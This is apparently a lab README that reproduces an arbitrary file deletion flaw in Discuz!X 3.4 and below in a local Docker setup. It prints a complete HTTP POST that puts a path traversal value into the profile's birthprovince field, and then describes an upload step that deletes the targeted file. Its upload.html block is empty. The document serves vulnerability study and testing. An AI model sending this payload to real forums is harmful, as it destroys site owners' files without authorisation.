# Discuz!X ≤3.4 Arbitrary File Deletion
[中文版本(Chinese version)](README.zh-cn.md)
Discuz!X is a popular forum software widely used in China. A vulnerability in Discuz!X versions 3.4 and below allows attackers to delete arbitrary files on the server through the user profile modification functionality.
References:
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## Environment Setup
Execute the following command to deploy Discuz!X 3.4:
```
docker compose up -d
```
During installation, only modify the database host to `db` and keep other settings as default:
## Vulnerability Reproduction
First, verify that the target file (e.g., robots.txt) exists by visiting `http://your-ip/robots.txt`:
After registering a user account, find your formhash value in the personal settings page:
Send the following HTTP request with your cookie and formhash:
```
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
```
After successful submission, the birthplace field in the user profile page will show the following state:
This indicates that our malicious data has been inserted into the database.
Next, create an `upload.html` file with the following code (replace `[your-ip]` with your Discuz domain and `[form-hash]` with your formhash):
```html
```
Open this page in a browser and upload a normal image file. At this point, the malicious data should have been processed and the vulnerability exploitation is complete.
Visit `http://your-ip/robots.txt` again to verify that the file has been successfully deleted:
